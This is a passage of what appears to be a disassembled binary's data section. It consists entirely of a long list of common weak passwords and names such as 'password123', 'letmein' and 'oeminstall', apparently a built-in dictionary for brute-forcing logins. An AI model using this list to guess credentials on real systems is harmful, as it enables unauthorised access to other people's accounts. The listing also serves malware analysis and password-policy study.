aPrinceto	db 'princeto',0         ; DATA XREF: .text:0042D8F0o
		align 10h
aPrince		db 'prince',0           ; DATA XREF: .text:0042D8ECo
		align 4
aPresto		db 'presto',0           ; DATA XREF: .text:0042D8E8o
		align 10h
aPrelude	db 'prelude',0          ; DATA XREF: .text:0042D8E4o
aPrecious	db 'precious',0         ; DATA XREF: .text:0042D8E0o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .text:0042D8DCo
		align 4
aPower		db 'power',0            ; DATA XREF: .text:0042D8D8o
		align 4
aPoster		db 'poster',0           ; DATA XREF: .text:0042D8D4o
		align 4
aPost		db 'post',0             ; DATA XREF: .text:0042D8D0o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .text:0042D8CCo
aPorno		db 'porno',0            ; DATA XREF: .text:0042D8C8o
		align 4
aPorn		db 'porn',0             ; DATA XREF: .text:0042D8C4o
		align 4
aPork		db 'pork',0             ; DATA XREF: .text:0042D8C0o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .text:0042D8BCo
		align 4
aPoop		db 'poop',0             ; DATA XREF: .text:0042D8B8o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .text:0042D8B4o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: .text:0042D8B0o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: .text:0042D8ACo
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .text:0042D8A8o
		align 4
aPolly		db 'polly',0            ; DATA XREF: .text:0042D8A4o
		align 4
aPolice		db 'police',0           ; DATA XREF: .text:0042D8A0o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: .text:0042D89Co
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .text:0042D898o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .text:0042D894o
		align 10h
aPlover		db 'plover',0           ; DATA XREF: .text:0042D890o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .text:0042D88Co
aPlane		db 'plane',0            ; DATA XREF: .text:0042D888o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .text:0042D884o
		align 10h
aPiss		db 'piss',0             ; DATA XREF: .text:0042D880o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .text:0042D87Co
aPink		db 'pink',0             ; DATA XREF: .text:0042D878o
		align 4
aPimp		db 'pimp',0             ; DATA XREF: .text:0042D874o
		align 10h
aPierre		db 'pierre',0           ; DATA XREF: .text:0042D870o
		align 4
aPick		db 'pick',0             ; DATA XREF: .text:0042D86Co
		align 10h
aPhuck		db 'phuck',0            ; DATA XREF: .text:0042D868o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .text:0042D864o
		align 10h
aPhrase		db 'phrase',0           ; DATA XREF: .text:0042D860o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .text:0042D85Co
		align 10h
aPhoton		db 'photon',0           ; DATA XREF: .text:0042D858o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .text:0042D854o
		align 10h
aPhoenix	db 'phoenix',0          ; DATA XREF: .text:0042D850o
aPhilip		db 'philip',0           ; DATA XREF: .text:0042D84Co
		align 10h
aPhil		db 'phil',0             ; DATA XREF: .text:0042D848o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .text:0042D844o
		align 10h
aPete		db 'pete',0             ; DATA XREF: .text:0042D840o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .text:0042D83Co
aPersona	db 'persona',0          ; DATA XREF: .text:0042D838o
aPersimmon	db 'persimmon',0        ; DATA XREF: .text:0042D834o
		align 4
aPersimmo	db 'persimmo',0         ; DATA XREF: .text:0042D830o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: .text:0042D82Co
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: .text:0042D828o
aPercolate	db 'percolate',0        ; DATA XREF: .text:0042D824o
		align 4
aPercolat	db 'percolat',0         ; DATA XREF: .text:0042D820o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .text:0042D81Co
		align 10h
aPepper		db 'pepper',0           ; DATA XREF: .text:0042D818o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .text:0042D814o
		align 10h
aPentium	db 'pentium',0          ; DATA XREF: .text:0042D810o
aPenthous	db 'penthous',0         ; DATA XREF: .text:0042D80Co
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .text:0042D808o
		align 10h
aPentagon	db 'pentagon',0         ; DATA XREF: .text:0042D804o
		align 4
aPenname	db 'penname',0          ; DATA XREF: .text:0042D800o
aPenis		db 'penis',0            ; DATA XREF: .text:0042D7FCo
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: .text:0042D7F8o
aPenelope	db 'penelope',0         ; DATA XREF: .text:0042D7F4o
		align 10h
aPencil		db 'pencil',0           ; DATA XREF: .text:0042D7F0o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .text:0042D7ECo
		align 10h
aPeanuts	db 'peanuts',0          ; DATA XREF: .text:0042D7E8o
aPc		db 'pc',0               ; DATA XREF: .text:0042D7E4o
		align 4
aPaula		db 'paula',0            ; DATA XREF: .text:0042D7E0o
		align 4
aPatty		db 'patty',0            ; DATA XREF: .text:0042D7DCo
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .text:0042D7D8o
aPatrick	db 'patrick',0          ; DATA XREF: .text:0042D7D4o
aPatricia	db 'patricia',0         ; DATA XREF: .text:0042D7D0o
		align 4
aPat		db 'pat',0              ; DATA XREF: .text:0042D7CCo
aPaste		db 'paste',0            ; DATA XREF: .text:0042D7C8o
		align 4
aPassword123	db 'password123',0      ; DATA XREF: .text:0042D7C4o
aPassword1	db 'password1',0        ; DATA XREF: .text:0042D7C0o
					; .text:0042E640o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .text:0042D7BCo
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .text:0042D7B8o
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: .text:0042D7B4o
		align 4
aPass123	db 'pass123',0          ; DATA XREF: .text:0042D7B0o
aPass_0		db 'pass',0             ; DATA XREF: .text:0042D7ACo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .text:0042D7A8o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .text:0042D7A4o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .text:0042D7A0o
		align 4
aPapa		db 'papa',0             ; DATA XREF: .text:0042D79Co
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .text:0042D798o
		align 4
aPam		db 'pam',0              ; DATA XREF: .text:0042D794o
aPakistan	db 'pakistan',0         ; DATA XREF: .text:0042D790o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .text:0042D78Co
		align 4
aPainless	db 'painless',0         ; DATA XREF: .text:0042D788o
		align 4
aPad		db 'pad',0              ; DATA XREF: .text:0042D784o
aPacker		db 'packer',0           ; DATA XREF: .text:0042D780o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .text:0042D77Co
aPacific	db 'pacific',0          ; DATA XREF: .text:0042D778o
aOxford		db 'oxford',0           ; DATA XREF: .text:0042D774o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .text:0042D770o
		align 4
aOwn		db 'own',0              ; DATA XREF: .text:0042D76Co
aOwa		db 'owa',0              ; DATA XREF: .text:0042D768o
aOutside	db 'outside',0          ; DATA XREF: .text:0042D764o
aOutput		db 'output',0           ; DATA XREF: .text:0042D760o
		align 4
aOutlook	db 'outlook',0          ; DATA XREF: .text:0042D75Co
aOutlaw		db 'outlaw',0           ; DATA XREF: .text:0042D758o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .text:0042D754o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: .text:0042D750o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: .text:0042D74Co
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: .text:0042D748o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: .text:0042D744o
		align 4
aOrca		db 'orca',0             ; DATA XREF: .text:0042D740o
		align 10h
aOrange		db 'orange',0           ; DATA XREF: .text:0042D73Co
		align 4
aOperator	db 'operator',0         ; DATA XREF: .text:0042D734o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .text:0042D730o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: .text:0042D72Co
		align 4
aOpening	db 'opening',0          ; DATA XREF: .text:0042D728o
aOmega		db 'omega',0            ; DATA XREF: .text:0042D720o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .text:0042D71Co
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .text:0042D718o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: .text:0042D714o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .text:0042D710o
		align 10h
aOffice		db 'office',0           ; DATA XREF: .text:0042D70Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .text:0042D708o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .text:0042D704o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .text:0042D700o
		align 4
aOceanography	db 'oceanography',0     ; DATA XREF: .text:0042D6FCo
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: .text:0042D6F8o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: .text:0042D6F4o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .text:0042D6F0o
aNuts		db 'nuts',0             ; DATA XREF: .text:0042D6ECo
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .text:0042D6E8o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .text:0042D6E4o
		align 4
aNumber		db 'number',0           ; DATA XREF: .text:0042D6E0o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .text:0042D6DCo
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .text:0042D6D8o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .text:0042D6D4o
		align 4
aNude		db 'nude',0             ; DATA XREF: .text:0042D6D0o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .text:0042D6CCo
aNoxious	db 'noxious',0          ; DATA XREF: .text:0042D6C8o
aNovember	db 'november',0         ; DATA XREF: .text:0042D6C4o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .text:0042D6C0o
		align 10h
aNova		db 'nova',0             ; DATA XREF: .text:0042D6BCo
		align 4
aNoth		db 'noth',0             ; DATA XREF: .text:0042D6B8o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: .text:0042D6B4o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .text:0042D6B0o
		align 10h
aNoob		db 'noob',0             ; DATA XREF: .text:0042D6ACo
		align 4
aNone		db 'none',0             ; DATA XREF: .text:0042D6A8o
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .text:0042D6A4o
		align 4
aNode		db 'node',0             ; DATA XREF: .text:0042D6A0o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: .text:0042D69Co
		align 4
aNoble		db 'noble',0            ; DATA XREF: .text:0042D698o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: .text:0042D694o
		align 4
aNita		db 'nita',0             ; DATA XREF: .text:0042D690o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: .text:0042D68Co
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .text:0042D688o
		align 4
aNight		db 'night',0            ; DATA XREF: .text:0042D684o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: .text:0042D680o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .text:0042D67Co
		align 4
aNice		db 'nice',0             ; DATA XREF: .text:0042D678o
		align 4
aNext		db 'next',0             ; DATA XREF: .text:0042D674o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .text:0042D670o
aNewton		db 'newton',0           ; DATA XREF: .text:0042D66Co
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .text:0042D668o
		align 10h
aNews		db 'news',0             ; DATA XREF: .text:0042D664o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: .text:0042D660o
aNew		db 'new',0              ; DATA XREF: .text:0042D65Co
aNetwork_0	db 'network',0          ; DATA XREF: .text:0042D658o
aNetscape	db 'netscape',0         ; DATA XREF: .text:0042D654o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .text:0042D650o
aNetdevil	db 'netdevil',0         ; DATA XREF: .text:0042D64Co
		align 4
aNetbios	db 'netbios',0          ; DATA XREF: .text:0042D648o
aNetDevil	db 'net-devil',0        ; DATA XREF: .text:0042D644o
		align 10h
aNet		db 'net',0              ; DATA XREF: .text:0042D640o
aNess		db 'ness',0             ; DATA XREF: .text:0042D63Co
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .text:0042D638o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .text:0042D634o
		align 10h
aNeil		db 'neil',0             ; DATA XREF: .text:0042D630o
		align 4
aNavy		db 'navy',0             ; DATA XREF: .text:0042D62Co
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: .text:0042D628o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .text:0042D624o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .text:0042D620o
		align 4
aName		db 'name',0             ; DATA XREF: .text:0042D61Co
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .text:0042D618o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .text:0042D614o
aMypc		db 'mypc',0             ; DATA XREF: .text:0042D610o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: .text:0042D60Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .text:0042D608o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: .text:0042D604o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .text:0042D600o
aMsdos		db 'msdos',0            ; DATA XREF: .text:0042D5FCo
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .text:0042D5F8o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: .text:0042D5F4o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .text:0042D5F0o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: .text:0042D5ECo
		align 4
aMove		db 'move',0             ; DATA XREF: .text:0042D5E8o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: .text:0042D5E4o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .text:0042D5E0o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: .text:0042D5DCo
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .text:0042D5D8o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .text:0042D5D4o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: .text:0042D5D0o
		align 4
aMorris		db 'morris',0           ; DATA XREF: .text:0042D5CCo
		align 4
aMorley		db 'morley',0           ; DATA XREF: .text:0042D5C8o
		align 4
aMore		db 'more',0             ; DATA XREF: .text:0042D5C4o
		align 4
aMoose		db 'moose',0            ; DATA XREF: .text:0042D5C0o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .text:0042D5BCo
		align 4
aMoom		db 'moom',0             ; DATA XREF: .text:0042D5B8o
		align 4
aMonica		db 'monica',0           ; DATA XREF: .text:0042D5B4o
		align 4
aMonday		db 'monday',0           ; DATA XREF: .text:0042D5B0o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .text:0042D5ACo
		align 4
aMogul		db 'mogul',0            ; DATA XREF: .text:0042D5A8o
		align 4
aModem		db 'modem',0            ; DATA XREF: .text:0042D5A4o
		align 4
aMode		db 'mode',0             ; DATA XREF: .text:0042D5A0o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .text:0042D59Co
		align 4
aMit		db 'mit',0              ; DATA XREF: .text:0042D598o
aMission	db 'mission',0          ; DATA XREF: .text:0042D594o
aMisfit		db 'misfit',0           ; DATA XREF: .text:0042D590o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: .text:0042D58Co
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: .text:0042D588o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .text:0042D584o
aMine		db 'mine',0             ; DATA XREF: .text:0042D580o
		align 4
aMike		db 'mike',0             ; DATA XREF: .text:0042D57Co
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .text:0042D578o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .text:0042D574o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .text:0042D570o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .text:0042D56Co
		align 10h
aMicro		db 'micro',0            ; DATA XREF: .text:0042D568o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .text:0042D564o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: .text:0042D560o
		align 4
aMichele	db 'michele',0          ; DATA XREF: .text:0042D55Co
aMichelan	db 'michelan',0         ; DATA XREF: .text:0042D558o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: .text:0042D554o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .text:0042D550o
aMice		db 'mice',0             ; DATA XREF: .text:0042D54Co
		align 4
aMgr		db 'mgr',0              ; DATA XREF: .text:0042D548o
aMets		db 'mets',0             ; DATA XREF: .text:0042D544o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: .text:0042D540o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: .text:0042D53Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: .text:0042D538o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: .text:0042D534o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .text:0042D508o
					; .text:0042D530o
aMenu		db 'menu',0             ; DATA XREF: .text:0042D504o
					; .text:0042D52Co
		align 4
aMenace		db 'menace',0           ; DATA XREF: .text:0042D500o
					; .text:0042D528o
		align 4
aMemory		db 'memory',0           ; DATA XREF: .text:0042D4FCo
					; .text:0042D524o
		align 4
aMember		db 'member',0           ; DATA XREF: .text:0042D4F8o
					; .text:0042D520o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: .text:0042D4F4o
					; .text:0042D51Co
aMellon		db 'mellon',0           ; DATA XREF: .text:0042D4F0o
					; .text:0042D518o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: .text:0042D4ECo
					; .text:0042D514o
aMegan		db 'megan',0            ; DATA XREF: .text:0042D4E8o
					; .text:0042D510o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: .text:0042D4E4o
					; .text:0042D50Co
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: .text:0042D4E0o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .text:0042D4DCo
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: .text:0042D4D8o
aMath		db 'math',0             ; DATA XREF: .text:0042D4D4o
		align 4
aMaster		db 'master',0           ; DATA XREF: .text:0042D4D0o
		align 4
aMass		db 'mass',0             ; DATA XREF: .text:0042D4CCo
		align 4
aMason		db 'mason',0            ; DATA XREF: .text:0042D4C8o
		align 4
aMary		db 'mary',0             ; DATA XREF: .text:0042D4C4o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .text:0042D4C0o
		align 4
aMarty		db 'marty',0            ; DATA XREF: .text:0042D4BCo
		align 4
aMars		db 'mars',0             ; DATA XREF: .text:0042D4B8o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: .text:0042D4B4o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .text:0042D4B0o
		align 10h
aMarkus		db 'markus',0           ; DATA XREF: .text:0042D4ACo
		align 4
aMark		db 'mark',0             ; DATA XREF: .text:0042D4A8o
		align 10h
aMarines	db 'marines',0          ; DATA XREF: .text:0042D4A4o
aMarijuan	db 'marijuan',0         ; DATA XREF: .text:0042D4A0o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .text:0042D49Co
		align 10h
aMariens	db 'mariens',0          ; DATA XREF: .text:0042D498o
aMaria		db 'maria',0            ; DATA XREF: .text:0042D494o
		align 10h
aMarcy		db 'marcy',0            ; DATA XREF: .text:0042D490o
		align 4
aMarci		db 'marci',0            ; DATA XREF: .text:0042D48Co
		align 10h
aMara		db 'mara',0             ; DATA XREF: .text:0042D488o
		align 4
aManager	db 'manager',0          ; DATA XREF: .text:0042D484o
aMana		db 'mana',0             ; DATA XREF: .text:0042D480o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .text:0042D47Co
		align 10h
aMalcolm	db 'malcolm',0          ; DATA XREF: .text:0042D478o
aMaint		db 'maint',0            ; DATA XREF: .text:0042D474o
		align 10h
aMain		db 'main',0             ; DATA XREF: .text:0042D470o
		align 4
aMail		db 'mail',0             ; DATA XREF: .text:0042D46Co
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: .text:0042D468o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .text:0042D464o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: .text:0042D460o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .text:0042D45Co
		align 10h
aMack		db 'mack',0             ; DATA XREF: .text:0042D458o
		align 4
aMacintosh	db 'macintosh',0        ; DATA XREF: .text:0042D454o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .text:0042D450o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .text:0042D44Co
aLynne		db 'lynne',0            ; DATA XREF: .text:0042D448o
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: .text:0042D444o
		align 4
aLust		db 'lust',0             ; DATA XREF: .text:0042D440o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .text:0042D43Co
		align 4
aLude		db 'lude',0             ; DATA XREF: .text:0042D438o
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: .text:0042D434o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .text:0042D430o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: .text:0042D42Co
		align 4
aLover		db 'lover',0            ; DATA XREF: .text:0042D428o
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: .text:0042D424o
aLove		db 'love',0             ; DATA XREF: .text:0042D420o
		align 10h
aLouis		db 'louis',0            ; DATA XREF: .text:0042D41Co
		align 4
aLoser		db 'loser',0            ; DATA XREF: .text:0042D418o
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: .text:0042D414o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .text:0042D410o
		align 4
aLori		db 'lori',0             ; DATA XREF: .text:0042D40Co
		align 4
aLore		db 'lore',0             ; DATA XREF: .text:0042D408o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .text:0042D404o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .text:0042D400o
		align 4
aLol		db 'lol',0              ; DATA XREF: .text:0042D3FCo
aLois		db 'lois',0             ; DATA XREF: .text:0042D3F8o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: .text:0042D3F4o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .text:0042D3F0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .text:0042D3ECo
		align 10h
aLogic		db 'logic',0            ; DATA XREF: .text:0042D3E8o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: .text:0042D3E4o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .text:0042D3E0o
aLock		db 'lock',0             ; DATA XREF: .text:0042D3DCo
		align 4
aLoad		db 'load',0             ; DATA XREF: .text:0042D3D8o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .text:0042D3D4o
aLive		db 'live',0             ; DATA XREF: .text:0042D3D0o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .text:0042D3CCo
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .text:0042D3C8o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: .text:0042D3C4o
		align 4
aLips		db 'lips',0             ; DATA XREF: .text:0042D3C0o
		align 4
aLion		db 'lion',0             ; DATA XREF: .text:0042D3BCo
		align 4
aLinux		db 'linux',0            ; DATA XREF: .text:0042D3B8o
		align 4
aLink		db 'link',0             ; DATA XREF: .text:0042D3B4o
		align 4
aLinda		db 'linda',0            ; DATA XREF: .text:0042D3B0o
		align 4
aLimited	db 'limited',0          ; DATA XREF: .text:0042D3ACo
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .text:0042D3A8o
		align 10h
aLima		db 'lima',0             ; DATA XREF: .text:0042D3A4o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .text:0042D3A0o
		align 4
aLight		db 'light',0            ; DATA XREF: .text:0042D39Co
		align 4
aLife		db 'life',0             ; DATA XREF: .text:0042D398o
		align 4
aLicker		db 'licker',0           ; DATA XREF: .text:0042D394o
		align 4
aLick		db 'lick',0             ; DATA XREF: .text:0042D390o
		align 4
aLibrary	db 'library',0          ; DATA XREF: .text:0042D38Co
aLiberal	db 'liberal',0          ; DATA XREF: .text:0042D388o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .text:0042D384o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: .text:0042D380o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .text:0042D37Co
aLeslie		db 'leslie',0           ; DATA XREF: .text:0042D378o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .text:0042D374o
aLeroy		db 'leroy',0            ; DATA XREF: .text:0042D370o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .text:0042D36Co
		align 10h
aLegal		db 'legal',0            ; DATA XREF: .text:0042D368o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .text:0042D364o
		align 4
aLeft		db 'left',0             ; DATA XREF: .text:0042D360o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .text:0042D35Co
		align 4
aLee		db 'lee',0              ; DATA XREF: .text:0042D358o
aLebesgue	db 'lebesgue',0         ; DATA XREF: .text:0042D354o
		align 4
aLeah		db 'leah',0             ; DATA XREF: .text:0042D350o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: .text:0042D34Co
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: .text:0042D348o
aLava		db 'lava',0             ; DATA XREF: .text:0042D344o
		align 4
aLaura		db 'laura',0            ; DATA XREF: .text:0042D340o
		align 4
aLaser		db 'laser',0            ; DATA XREF: .text:0042D33Co
		align 4
aLarry		db 'larry',0            ; DATA XREF: .text:0042D338o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: .text:0042D334o
		align 4
aLara		db 'lara',0             ; DATA XREF: .text:0042D330o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: .text:0042D32Co
		align 4
aLana		db 'lana',0             ; DATA XREF: .text:0042D328o
		align 4
aLan		db 'lan',0              ; DATA XREF: .text:0042D324o
aLamination	db 'lamination',0       ; DATA XREF: .text:0042D320o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: .text:0042D31Co
		align 4
aLambda		db 'lambda',0           ; DATA XREF: .text:0042D318o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: .text:0042D314o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: .text:0042D310o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: .text:0042D30Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: .text:0042D308o
		align 10h
aL337		db 'l337',0             ; DATA XREF: .text:0042D304o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: .text:0042D300o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: .text:0042D2FCo
		align 4
aKristin	db 'kristin',0          ; DATA XREF: .text:0042D2F8o
aKristie	db 'kristie',0          ; DATA XREF: .text:0042D2F4o
aKristi		db 'kristi',0           ; DATA XREF: .text:0042D2F0o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: .text:0042D2ECo
aKrista		db 'krista',0           ; DATA XREF: .text:0042D2E8o
		align 4
aKnown		db 'known',0            ; DATA XREF: .text:0042D2E4o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: .text:0042D2E0o
		align 4
aKnight		db 'knight',0           ; DATA XREF: .text:0042D2DCo
		align 10h
aKnife		db 'knife',0            ; DATA XREF: .text:0042D2D8o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: .text:0042D2D4o
aKitten		db 'kitten',0           ; DATA XREF: .text:0042D2D0o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: .text:0042D2CCo
		align 4
aKiss		db 'kiss',0             ; DATA XREF: .text:0042D2C8o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: .text:0042D2C4o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: .text:0042D2C0o
		align 10h
aKing		db 'king',0             ; DATA XREF: .text:0042D2BCo
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: .text:0042D2B8o
		align 4
aKim		db 'kim',0              ; DATA XREF: .text:0042D2B4o
aKilo		db 'kilo',0             ; DATA XREF: .text:0042D2B0o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: .text:0042D2ACo
		align 4
aKiller		db 'killer',0           ; DATA XREF: .text:0042D2A8o
		align 4
aKill		db 'kill',0             ; DATA XREF: .text:0042D2A4o
		align 4
aKids		db 'kids',0             ; DATA XREF: .text:0042D2A0o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .text:0042D29Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: .text:0042D298o
aKeyin		db 'keyin',0            ; DATA XREF: .text:0042D294o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: .text:0042D290o
aKewl		db 'kewl',0             ; DATA XREF: .text:0042D288o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: .text:0042D284o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: .text:0042D280o
		align 4
